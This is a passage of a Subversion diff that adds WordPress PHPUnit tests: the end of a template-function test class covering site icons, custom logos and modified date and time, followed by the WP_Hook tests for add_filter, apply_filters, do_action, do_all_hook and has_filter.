+	 * @since 4.3.0
+	 */
+	function _set_site_icon() {
+		if ( ! $this->site_icon_id ) {
+			add_filter( 'intermediate_image_sizes_advanced', array( $this->wp_site_icon, 'additional_sizes' ) );
+			$this->_insert_attachment();
+			remove_filter( 'intermediate_image_sizes_advanced', array( $this->wp_site_icon, 'additional_sizes' ) );
+		}
+
+		update_option( 'site_icon', $this->site_icon_id );
+	}
+
+	/**
+	 * Removes the site icon from options.
+	 *
+	 * @since 4.3.0
+	 */
+	function _remove_site_icon() {
+		delete_option( 'site_icon' );
+	}
+
+	/**
+	 * Inserts an attachment for testing site icons.
+	 *
+	 * @since 4.3.0
+	 */
+	function _insert_attachment() {
+		$filename = DIR_TESTDATA . '/images/test-image.jpg';
+		$contents = file_get_contents( $filename );
+
+		$upload = wp_upload_bits( basename( $filename ), null, $contents );
+		$this->site_icon_url = $upload['url'];
+
+
+		// Save the data
+		$this->site_icon_id = $this->_make_attachment( $upload );
+		return $this->site_icon_id;
+	}
+
+	/**
+	 * @group custom_logo
+	 *
+	 * @since 4.5.0
+	 */
+	function test_has_custom_logo() {
+		$this->assertFalse( has_custom_logo() );
+
+		$this->_set_custom_logo();
+		$this->assertTrue( has_custom_logo() );
+
+		$this->_remove_custom_logo();
+		$this->assertFalse( has_custom_logo() );
+	}
+
+	/**
+	 * @group custom_logo
+	 * @group multisite
+	 * @group ms-required
+	 */
+	function test_has_custom_logo_returns_true_when_called_for_other_site_with_custom_logo_set() {
+		$blog_id = $this->factory->blog->create();
+		switch_to_blog( $blog_id );
+		$this->_set_custom_logo();
+		restore_current_blog();
+
+		$this->assertTrue( has_custom_logo( $blog_id ) );
+	}
+
+	/**
+	 * @group custom_logo
+	 * @group multisite
+	 * @group ms-required
+	 */
+	function test_has_custom_logo_returns_false_when_called_for_other_site_without_custom_logo_set() {
+		$blog_id = $this->factory->blog->create();
+
+		$this->assertFalse( has_custom_logo( $blog_id ) );
+	}
+
+	/**
+	 * @group custom_logo
+	 *
+	 * @since 4.5.0
+	 */
+	function test_get_custom_logo() {
+		$this->assertEmpty( get_custom_logo() );
+
+		$this->_set_custom_logo();
+		$custom_logo = get_custom_logo();
+		$this->assertNotEmpty( $custom_logo );
+		$this->assertInternalType( 'string', $custom_logo );
+
+		$this->_remove_custom_logo();
+		$this->assertEmpty( get_custom_logo() );
+	}
+
+	/**
+	 * @group custom_logo
+	 * @group multisite
+	 * @group ms-required
+	 */
+	function test_get_custom_logo_returns_logo_when_called_for_other_site_with_custom_logo_set() {
+		$blog_id = $this->factory->blog->create();
+		switch_to_blog( $blog_id );
+
+		$this->_set_custom_logo();
+
+		$custom_logo_attr = array(
+			'class'    => 'custom-logo',
+			'itemprop' => 'logo',
+		);
+
+		// If the logo alt attribute is empty, use the site title.
+		$image_alt = get_post_meta( $this->custom_logo_id, '_wp_attachment_image_alt', true );
+		if ( empty( $image_alt ) ) {
+			$custom_logo_attr['alt'] = get_bloginfo( 'name', 'display' );
+		}
+
+		$home_url = get_home_url( $blog_id, '/' );
+		$image    = wp_get_attachment_image( $this->custom_logo_id, 'full', false, $custom_logo_attr );
+		restore_current_blog();
+
+		$expected_custom_logo =  '<a href="' . $home_url . '" class="custom-logo-link" rel="home" itemprop="url">' . $image . '</a>';
+		$this->assertEquals( $expected_custom_logo, get_custom_logo( $blog_id ) );
+	}
+
+	/**
+	 * @group custom_logo
+	 *
+	 * @since 4.5.0
+	 */
+	function test_the_custom_logo() {
+		$this->expectOutputString( '' );
+		the_custom_logo();
+
+		$this->_set_custom_logo();
+
+		$custom_logo_attr = array(
+			'class'    => 'custom-logo',
+			'itemprop' => 'logo',
+		);
+
+		// If the logo alt attribute is empty, use the site title.
+		$image_alt = get_post_meta( $this->custom_logo_id, '_wp_attachment_image_alt', true );
+		if ( empty( $image_alt ) ) {
+			$custom_logo_attr['alt'] = get_bloginfo( 'name', 'display' );
+		}
+
+		$image = wp_get_attachment_image( $this->custom_logo_id, 'full', false, $custom_logo_attr );
+
+		$this->expectOutputString( '<a href="http://' . WP_TESTS_DOMAIN . '/" class="custom-logo-link" rel="home" itemprop="url">' . $image . '</a>' );
+		the_custom_logo();
+	}
+
+	/**
+	 * @group custom_logo
+	 * @ticket 38768
+	 */
+	function test_the_custom_logo_with_alt() {
+		$this->_set_custom_logo();
+
+		$image_alt = 'My alt attribute';
+
+		update_post_meta( $this->custom_logo_id, '_wp_attachment_image_alt', $image_alt );
+
+		$image = wp_get_attachment_image( $this->custom_logo_id, 'full', false, array(
+			'class'    => 'custom-logo',
+			'itemprop' => 'logo',
+		) );
+
+		$this->expectOutputString( '<a href="http://' . WP_TESTS_DOMAIN . '/" class="custom-logo-link" rel="home" itemprop="url">' . $image . '</a>' );
+		the_custom_logo();
+	}
+
+	/**
+	 * Sets a site icon in options for testing.
+	 *
+	 * @since 4.5.0
+	 */
+	function _set_custom_logo() {
+		if ( ! $this->custom_logo_id ) {
+			$this->_insert_custom_logo();
+		}
+
+		set_theme_mod( 'custom_logo', $this->custom_logo_id );
+	}
+
+	/**
+	 * Removes the site icon from options.
+	 *
+	 * @since 4.5.0
+	 */
+	function _remove_custom_logo() {
+		remove_theme_mod( 'custom_logo' );
+	}
+
+	/**
+	 * Inserts an attachment for testing custom logos.
+	 *
+	 * @since 4.5.0
+	 */
+	function _insert_custom_logo() {
+		$filename = DIR_TESTDATA . '/images/test-image.jpg';
+		$contents = file_get_contents( $filename );
+		$upload   = wp_upload_bits( basename( $filename ), null, $contents );
+
+		// Save the data.
+		$this->custom_logo_url = $upload['url'];
+		$this->custom_logo_id  = $this->_make_attachment( $upload );
+		return $this->custom_logo_id;
+	}
+
+	/**
+	 * Test get_the_modified_time
+	 *
+	 * @ticket 37059
+	 *
+	 * @since 4.6.0
+	 */
+	function test_get_the_modified_time_default() {
+		$details = array(
+				'post_date' => '2016-01-21 15:34:36',
+				'post_date_gmt' => '2016-01-21 15:34:36',
+		);
+		$post_id = $this->factory->post->create( $details );
+		$post = get_post( $post_id );
+
+		$GLOBALS['post'] = $post;
+
+		$expected = '1453390476';
+		$d = 'G';
+		$actual = get_the_modified_time( $d );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	/**
+	 * Test get_the_modified_time failures are filtered
+	 *
+	 * @ticket 37059
+	 *
+	 * @since 4.6.0
+	 */
+	function test_get_the_modified_time_failures_are_filtered() {
+		// Remove global post objet
+		$GLOBALS['post'] = null;
+
+		$expected = 'filtered modified time failure result';
+		add_filter( 'get_the_modified_time', array( $this, '_filter_get_the_modified_time_failure' ) );
+		$actual = get_the_modified_time();
+		$this->assertEquals( $expected, $actual );
+		remove_filter( 'get_the_modified_time', array( $this, '_filter_get_the_modified_time_failure' ) );
+	}
+
+	function _filter_get_the_modified_time_failure( $the_time ) {
+		$expected = false;
+		$actual   = $the_time;
+		$this->assertEquals( $expected, $actual );
+
+		if ( false === $the_time ) {
+			return 'filtered modified time failure result';
+		}
+		return $the_time;
+	}
+
+	/**
+	 * Test get_the_modified_time with post_id parameter.
+	 *
+	 * @ticket 37059
+	 *
+	 * @since 4.6.0
+	 */
+	function test_get_the_modified_date_with_post_id() {
+		$details = array(
+				'post_date' => '2016-01-21 15:34:36',
+				'post_date_gmt' => '2016-01-21 15:34:36',
+		);
+		$post_id = $this->factory->post->create( $details );
+		$d = 'Y-m-d';
+		$expected = '2016-01-21';
+		$actual = get_the_modified_date( $d, $post_id );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	/**
+	 * Test get_the_modified_date
+	 *
+	 * @ticket 37059
+	 *
+	 * @since 4.6.0
+	 */
+	function test_get_the_modified_date_default() {
+		$details = array(
+				'post_date' => '2016-01-21 15:34:36',
+				'post_date_gmt' => '2016-01-21 15:34:36',
+		);
+		$post_id = $this->factory->post->create( $details );
+		$post = get_post( $post_id );
+
+		$GLOBALS['post'] = $post;
+
+		$expected = '2016-01-21';
+		$d = 'Y-m-d';
+		$actual = get_the_modified_date( $d );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	/**
+	 * Test get_the_modified_date failures are filtered
+	 *
+	 * @ticket 37059
+	 *
+	 * @since 4.6.0
+	 */
+	function test_get_the_modified_date_failures_are_filtered() {
+		// Remove global post objet
+		$GLOBALS['post'] = null;
+
+		$expected = 'filtered modified date failure result';
+		add_filter( 'get_the_modified_date', array( $this, '_filter_get_the_modified_date_failure' ) );
+		$actual = get_the_modified_date();
+		$this->assertEquals( $expected, $actual );
+		remove_filter( 'get_the_modified_date', array( $this, '_filter_get_the_modified_date_failure' ) );
+	}
+
+	function _filter_get_the_modified_date_failure( $the_date ) {
+		$expected = false;
+		$actual   = $the_date;
+		$this->assertEquals( $expected, $actual );
+
+		if ( false === $the_date ) {
+			return 'filtered modified date failure result';
+		}
+		return $the_date;
+	}
+
+	/**
+	 * Test get_the_modified_time with post_id parameter.
+	 *
+	 * @ticket 37059
+	 *
+	 * @since 4.6.0
+	 */
+	function test_get_the_modified_time_with_post_id() {
+		$details = array(
+				'post_date' => '2016-01-21 15:34:36',
+				'post_date_gmt' => '2016-01-21 15:34:36',
+		);
+		$post_id = $this->factory->post->create( $details );
+		$d = 'G';
+		$expected = '1453390476';
+		$actual = get_the_modified_time( $d, $post_id );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	/**
+	 * @ticket 38253
+	 * @group ms-required
+	 */
+	function test_get_site_icon_url_preserves_switched_state() {
+		$blog_id = $this->factory->blog->create();
+		switch_to_blog( $blog_id );
+
+		$expected = $GLOBALS['_wp_switched_stack'];
+
+		get_site_icon_url( 512, '', $blog_id );
+
+		$result = $GLOBALS['_wp_switched_stack'];
+
+		restore_current_blog();
+
+		$this->assertSame( $expected, $result );
+	}
+
+	/**
+	 * @ticket 38253
+	 * @group ms-required
+	 */
+	function test_has_custom_logo_preserves_switched_state() {
+		$blog_id = $this->factory->blog->create();
+		switch_to_blog( $blog_id );
+
+		$expected = $GLOBALS['_wp_switched_stack'];
+
+		has_custom_logo( $blog_id );
+
+		$result = $GLOBALS['_wp_switched_stack'];
+
+		restore_current_blog();
+
+		$this->assertSame( $expected, $result );
+	}
+
+	/**
+	 * @ticket 38253
+	 * @group ms-required
+	 */
+	function test_get_custom_logo_preserves_switched_state() {
+		$blog_id = $this->factory->blog->create();
+		switch_to_blog( $blog_id );
+
+		$expected = $GLOBALS['_wp_switched_stack'];
+
+		get_custom_logo( $blog_id );
+
+		$result = $GLOBALS['_wp_switched_stack'];
+
+		restore_current_blog();
+
+		$this->assertSame( $expected, $result );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/hooks/addFilter.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/hooks/addFilter.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/hooks/addFilter.php	(revision 56912)
@@ -0,0 +1,280 @@
+<?php
+
+
+/**
+ * Test the add_filter method of WP_Hook
+ *
+ * @group hooks
+ */
+class Tests_WP_Hook_Add_Filter extends WP_UnitTestCase {
+
+	public $hook;
+
+	public function test_add_filter_with_function() {
+		$callback = '__return_null';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+
+		$function_index = _wp_filter_build_unique_id( $tag, $callback, $priority );
+		$this->assertEquals( $callback, $hook->callbacks[ $priority ][ $function_index ]['function'] );
+		$this->assertEquals( $accepted_args, $hook->callbacks[ $priority ][ $function_index ]['accepted_args'] );
+	}
+
+	public function test_add_filter_with_object() {
+		$a = new MockAction();
+		$callback = array( $a, 'action' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+
+		$function_index = _wp_filter_build_unique_id( $tag, $callback, $priority );
+		$this->assertEquals( $callback, $hook->callbacks[ $priority ][ $function_index ]['function'] );
+		$this->assertEquals( $accepted_args, $hook->callbacks[ $priority ][ $function_index ]['accepted_args'] );
+	}
+
+	public function test_add_filter_with_static_method() {
+		$callback = array( 'MockAction', 'action' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+
+		$function_index = _wp_filter_build_unique_id( $tag, $callback, $priority );
+		$this->assertEquals( $callback, $hook->callbacks[ $priority ][ $function_index ]['function'] );
+		$this->assertEquals( $accepted_args, $hook->callbacks[ $priority ][ $function_index ]['accepted_args'] );
+	}
+
+	public function test_add_two_filters_with_same_priority() {
+		$callback_one = '__return_null';
+		$callback_two = '__return_false';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback_one, $priority, $accepted_args );
+		$this->assertCount( 1, $hook->callbacks[ $priority ] );
+
+		$hook->add_filter( $tag, $callback_two, $priority, $accepted_args );
+		$this->assertCount( 2, $hook->callbacks[ $priority ] );
+	}
+
+	public function test_add_two_filters_with_different_priority() {
+		$callback_one = '__return_null';
+		$callback_two = '__return_false';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback_one, $priority, $accepted_args );
+		$this->assertCount( 1, $hook->callbacks[ $priority ] );
+
+		$hook->add_filter( $tag, $callback_two, $priority + 1, $accepted_args );
+		$this->assertCount( 1, $hook->callbacks[ $priority ] );
+		$this->assertCount( 1, $hook->callbacks[ $priority + 1 ] );
+	}
+
+	public function test_readd_filter() {
+		$callback = '__return_null';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+		$this->assertCount( 1, $hook->callbacks[ $priority ] );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+		$this->assertCount( 1, $hook->callbacks[ $priority ] );
+	}
+
+	public function test_readd_filter_with_different_priority() {
+		$callback = '__return_null';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+		$this->assertCount( 1, $hook->callbacks[ $priority ] );
+
+		$hook->add_filter( $tag, $callback, $priority + 1, $accepted_args );
+		$this->assertCount( 1, $hook->callbacks[ $priority ] );
+		$this->assertCount( 1, $hook->callbacks[ $priority + 1 ] );
+	}
+
+	public function test_sort_after_add_filter() {
+		$a = new MockAction();
+		$b = new MockAction();
+		$c = new MockAction();
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+
+		$hook->add_filter( $tag, array( $a, 'action' ), 10, 1 );
+		$hook->add_filter( $tag, array( $b, 'action' ), 5, 1 );
+		$hook->add_filter( $tag, array( $c, 'action' ), 8, 1 );
+
+		$this->assertEquals( array( 5, 8, 10 ), array_keys( $hook->callbacks ) );
+	}
+
+	public function test_remove_and_add() {
+		$this->hook = new Wp_Hook();
+
+		$this->hook->add_filter( 'remove_and_add', '__return_empty_string', 10, 0 );
+
+		$this->hook->add_filter( 'remove_and_add', array( $this, '_filter_remove_and_add2' ), 11, 1 );
+
+		$this->hook->add_filter( 'remove_and_add', array( $this, '_filter_remove_and_add4' ), 12, 1 );
+
+		$value = $this->hook->apply_filters( '', array() );
+
+		$this->assertSame( '24', $value );
+	}
+
+	public function test_remove_and_add_last_filter() {
+		$this->hook = new Wp_Hook();
+
+		$this->hook->add_filter( 'remove_and_add', '__return_empty_string', 10, 0 );
+
+		$this->hook->add_filter( 'remove_and_add', array( $this, '_filter_remove_and_add1' ), 11, 1 );
+
+		$this->hook->add_filter( 'remove_and_add', array( $this, '_filter_remove_and_add2' ), 12, 1 );
+
+		$value = $this->hook->apply_filters( '', array() );
+
+		$this->assertSame( '12', $value );
+	}
+
+	public function test_remove_and_recurse_and_add() {
+		$this->hook = new Wp_Hook();
+
+		$this->hook->add_filter( 'remove_and_add', '__return_empty_string', 10, 0 );
+
+		$this->hook->add_filter( 'remove_and_add', array( $this, '_filter_remove_and_add1' ), 11, 1 );
+		$this->hook->add_filter( 'remove_and_add', array( $this, '_filter_remove_and_recurse_and_add2' ), 11, 1 );
+		$this->hook->add_filter( 'remove_and_add', array( $this, '_filter_remove_and_add3' ), 11, 1 );
+
+		$this->hook->add_filter( 'remove_and_add', array( $this, '_filter_remove_and_add4' ), 12, 1 );
+
+		$value = $this->hook->apply_filters( '', array() );
+
+		$this->assertSame( '1-134-234', $value );
+	}
+
+	public function _filter_remove_and_add1( $string ) {
+		return $string . '1';
+	}
+
+	public function _filter_remove_and_add2( $string ) {
+		$this->hook->remove_filter( 'remove_and_add', array( $this, '_filter_remove_and_add2' ), 11 );
+		$this->hook->add_filter( 'remove_and_add', array( $this, '_filter_remove_and_add2' ), 11, 1 );
+
+		return $string . '2';
+	}
+
+	public function _filter_remove_and_recurse_and_add2( $string ) {
+		$this->hook->remove_filter( 'remove_and_add', array( $this, '_filter_remove_and_recurse_and_add2' ), 11 );
+
+		$string .= '-' . $this->hook->apply_filters( '', array() ) . '-';
+
+		$this->hook->add_filter( 'remove_and_add', array( $this, '_filter_remove_and_recurse_and_add2' ), 11, 1 );
+
+		return $string . '2';
+	}
+
+	public function _filter_remove_and_add3( $string ) {
+		return $string . '3';
+	}
+
+	public function _filter_remove_and_add4( $string ) {
+		return $string . '4';
+	}
+
+	public function test_remove_and_add_action() {
+		$this->hook = new Wp_Hook();
+		$this->action_output = '';
+
+		$this->hook->add_filter( 'remove_and_add_action', '__return_empty_string', 10, 0 );
+
+		$this->hook->add_filter( 'remove_and_add_action', array( $this, '_action_remove_and_add2' ), 11, 0 );
+
+		$this->hook->add_filter( 'remove_and_add_action', array( $this, '_action_remove_and_add4' ), 12, 0 );
+
+		$this->hook->do_action( array() );
+
+		$this->assertSame( '24', $this->action_output );
+	}
+
+	public function test_remove_and_add_last_action() {
+		$this->hook = new Wp_Hook();
+		$this->action_output = '';
+
+		$this->hook->add_filter( 'remove_and_add_action', '__return_empty_string', 10, 0 );
+
+		$this->hook->add_filter( 'remove_and_add_action', array( $this, '_action_remove_and_add1' ), 11, 0 );
+
+		$this->hook->add_filter( 'remove_and_add_action', array( $this, '_action_remove_and_add2' ), 12, 0 );
+
+		$this->hook->do_action( array() );
+
+		$this->assertSame( '12', $this->action_output );
+	}
+
+	public function test_remove_and_recurse_and_add_action() {
+		$this->hook = new Wp_Hook();
+		$this->action_output = '';
+
+		$this->hook->add_filter( 'remove_and_add_action', '__return_empty_string', 10, 0 );
+
+		$this->hook->add_filter( 'remove_and_add_action', array( $this, '_action_remove_and_add1' ), 11, 0 );
+		$this->hook->add_filter( 'remove_and_add_action', array( $this, '_action_remove_and_recurse_and_add2' ), 11, 0 );
+		$this->hook->add_filter( 'remove_and_add_action', array( $this, '_action_remove_and_add3' ), 11, 0 );
+
+		$this->hook->add_filter( 'remove_and_add_action', array( $this, '_action_remove_and_add4' ), 12, 0 );
+
+		$this->hook->do_action( array() );
+
+		$this->assertSame( '1-134-234', $this->action_output );
+	}
+
+	public function _action_remove_and_add1() {
+		$this->action_output .= 1;
+	}
+
+	public function _action_remove_and_add2() {
+		$this->hook->remove_filter( 'remove_and_add_action', array( $this, '_action_remove_and_add2' ), 11 );
+		$this->hook->add_filter( 'remove_and_add_action', array( $this, '_action_remove_and_add2' ), 11, 0 );
+
+		$this->action_output .= '2';
+	}
+
+	public function _action_remove_and_recurse_and_add2() {
+		$this->hook->remove_filter( 'remove_and_add_action', array( $this, '_action_remove_and_recurse_and_add2' ), 11 );
+
+		$this->action_output .= '-';
+		$this->hook->do_action( array() );
+		$this->action_output .= '-';
+
+		$this->hook->add_filter( 'remove_and_add_action', array( $this, '_action_remove_and_recurse_and_add2' ), 11, 0 );
+
+		$this->action_output .= '2';
+	}
+
+	public function _action_remove_and_add3() {
+		$this->action_output .= '3';
+	}
+
+	public function _action_remove_and_add4() {
+		$this->action_output .= '4';
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/hooks/applyFilters.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/hooks/applyFilters.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/hooks/applyFilters.php	(revision 56912)
@@ -0,0 +1,45 @@
+<?php
+
+/**
+ * Test the apply_filters method of WP_Hook
+ *
+ * @group hooks
+ */
+class Tests_WP_Hook_Apply_Filters extends WP_UnitTestCase {
+
+	public function test_apply_filters_with_callback() {
+		$a = new MockAction();
+		$callback = array( $a, 'filter' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+		$arg = __FUNCTION__ . '_arg';
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+
+		$returned = $hook->apply_filters( $arg, array( $arg ) );
+
+		$this->assertEquals( $returned, $arg );
+		$this->assertEquals( 1, $a->get_call_count() );
+	}
+
+	public function test_apply_filters_with_multiple_calls() {
+		$a = new MockAction();
+		$callback = array( $a, 'filter' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+		$arg = __FUNCTION__ . '_arg';
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+
+		$returned_one = $hook->apply_filters( $arg, array( $arg ) );
+		$returned_two = $hook->apply_filters( $returned_one, array( $returned_one ) );
+
+		$this->assertEquals( $returned_two, $arg );
+		$this->assertEquals( 2, $a->get_call_count() );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/hooks/doAction.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/hooks/doAction.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/hooks/doAction.php	(revision 56912)
@@ -0,0 +1,172 @@
+<?php
+
+/**
+ * Test the do_action method of WP_Hook
+ *
+ * @group hooks
+ */
+class Tests_WP_Hook_Do_Action extends WP_UnitTestCase {
+	private $events = array();
+	private $action_output = '';
+	private $hook;
+
+	public function setUp() {
+		parent::setUp();
+		$this->events = array();
+	}
+
+	public function test_do_action_with_callback() {
+		$a = new MockAction();
+		$callback = array( $a, 'action' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+		$arg = __FUNCTION__ . '_arg';
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+		$hook->do_action( array( $arg ) );
+
+		$this->assertEquals( 1, $a->get_call_count() );
+	}
+
+	public function test_do_action_with_multiple_calls() {
+		$a = new MockAction();
+		$callback = array( $a, 'filter' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+		$arg = __FUNCTION__ . '_arg';
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+		$hook->do_action( array( $arg ) );
+		$hook->do_action( array( $arg ) );
+
+		$this->assertEquals( 2, $a->get_call_count() );
+	}
+
+	public function test_do_action_with_multiple_callbacks_on_same_priority() {
+		$a = new MockAction();
+		$b = new MockAction();
+		$callback_one = array( $a, 'filter' );
+		$callback_two = array( $b, 'filter' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+		$arg = __FUNCTION__ . '_arg';
+
+		$hook->add_filter( $tag, $callback_one, $priority, $accepted_args );
+		$hook->add_filter( $tag, $callback_two, $priority, $accepted_args );
+		$hook->do_action( array( $arg ) );
+
+		$this->assertEquals( 1, $a->get_call_count() );
+		$this->assertEquals( 1, $a->get_call_count() );
+	}
+
+	public function test_do_action_with_multiple_callbacks_on_different_priorities() {
+		$a = new MockAction();
+		$b = new MockAction();
+		$callback_one = array( $a, 'filter' );
+		$callback_two = array( $b, 'filter' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+		$arg = __FUNCTION__ . '_arg';
+
+		$hook->add_filter( $tag, $callback_one, $priority, $accepted_args );
+		$hook->add_filter( $tag, $callback_two, $priority + 1, $accepted_args );
+		$hook->do_action( array( $arg ) );
+
+		$this->assertEquals( 1, $a->get_call_count() );
+		$this->assertEquals( 1, $a->get_call_count() );
+	}
+
+	public function test_do_action_with_no_accepted_args() {
+		$callback = array( $this, '_action_callback' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = 0;
+		$arg = __FUNCTION__ . '_arg';
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+		$hook->do_action( array( $arg ) );
+
+		$this->assertEmpty( $this->events[0]['args'] );
+	}
+
+	public function test_do_action_with_one_accepted_arg() {
+		$callback = array( $this, '_action_callback' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = 1;
+		$arg = __FUNCTION__ . '_arg';
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+		$hook->do_action( array( $arg ) );
+
+		$this->assertCount( 1, $this->events[0]['args'] );
+	}
+
+	public function test_do_action_with_more_accepted_args() {
+		$callback = array( $this, '_action_callback' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = 1000;
+		$arg = __FUNCTION__ . '_arg';
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+		$hook->do_action( array( $arg ) );
+
+		$this->assertCount( 1, $this->events[0]['args'] );
+	}
+
+	public function test_do_action_doesnt_change_value() {
+		$this->hook = new WP_Hook();
+		$this->action_output = '';
+
+		$this->hook->add_filter( 'do_action_doesnt_change_value', array( $this, '_filter_do_action_doesnt_change_value1' ), 10, 1 );
+		$this->hook->add_filter( 'do_action_doesnt_change_value', array( $this, '_filter_do_action_doesnt_change_value2' ), 10, 1 );
+		$this->hook->add_filter( 'do_action_doesnt_change_value', array( $this, '_filter_do_action_doesnt_change_value3' ), 11, 1 );
+
+		$this->hook->do_action( array( 'a' ) );
+
+		$this->assertSame( 'a1-b1b3-a2a3', $this->action_output );
+	}
+
+	public function _filter_do_action_doesnt_change_value1( $value ) {
+		$this->action_output .= $value . 1;
+		return 'x1';
+	}
+	public function _filter_do_action_doesnt_change_value2( $value ) {
+		$this->hook->remove_filter( 'do_action_doesnt_change_value', array( $this, '_filter_do_action_doesnt_change_value2' ), 10 );
+
+		$this->action_output .= '-';
+		$this->hook->do_action( array( 'b' ) );
+		$this->action_output .= '-';
+
+		$this->hook->add_filter( 'do_action_doesnt_change_value', array( $this, '_filter_do_action_doesnt_change_value2' ), 10, 1 );
+
+		$this->action_output .= $value . 2;
+
+		return 'x2';
+	}
+
+	public function _filter_do_action_doesnt_change_value3( $value ) {
+		$this->action_output .= $value . 3;
+		return 'x3';
+	}
+
+	/**
+	 * Use this rather than MockAction so we can test callbacks with no args
+	 */
+	public function _action_callback() {
+		$args = func_get_args();
+		$this->events[] = array('action' => __FUNCTION__, 'args'=>$args);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/hooks/doAllHook.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/hooks/doAllHook.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/hooks/doAllHook.php	(revision 56912)
@@ -0,0 +1,26 @@
+<?php
+
+/**
+ * Test the do_all_hook method of WP_Hook
+ *
+ * @group hooks
+ */
+class Tests_WP_Hook_Do_All_Hook extends WP_UnitTestCase {
+
+	public function test_do_all_hook_with_multiple_calls() {
+		$a = new MockAction();
+		$callback = array( $a, 'action' );
+		$hook = new WP_Hook();
+		$tag = 'all';
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+		$arg = 'all_arg';
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+		$args = array( $arg );
+		$hook->do_all_hook( $args );
+		$hook->do_all_hook( $args );
+
+		$this->assertEquals( 2, $a->get_call_count() );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/hooks/hasFilter.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/hooks/hasFilter.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/hooks/hasFilter.php	(revision 56912)
@@ -0,0 +1,83 @@
+<?php
+
+/**
+ * Test the has_filter method of WP_Hook
+ *
+ * @group hooks
+ */
+class Tests_WP_Hook_Has_Filter extends WP_UnitTestCase {
+
+	public function test_has_filter_with_function() {
+		$callback = '__return_null';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+
+		$this->assertEquals( $priority, $hook->has_filter( $tag, $callback ) );
+	}
+
+	public function test_has_filter_with_object() {
+		$a = new MockAction();
+		$callback = array( $a, 'action' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+
+		$this->assertEquals( $priority, $hook->has_filter( $tag, $callback ) );
+	}
+
+	public function test_has_filter_with_static_method() {
+		$callback = array( 'MockAction', 'action' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
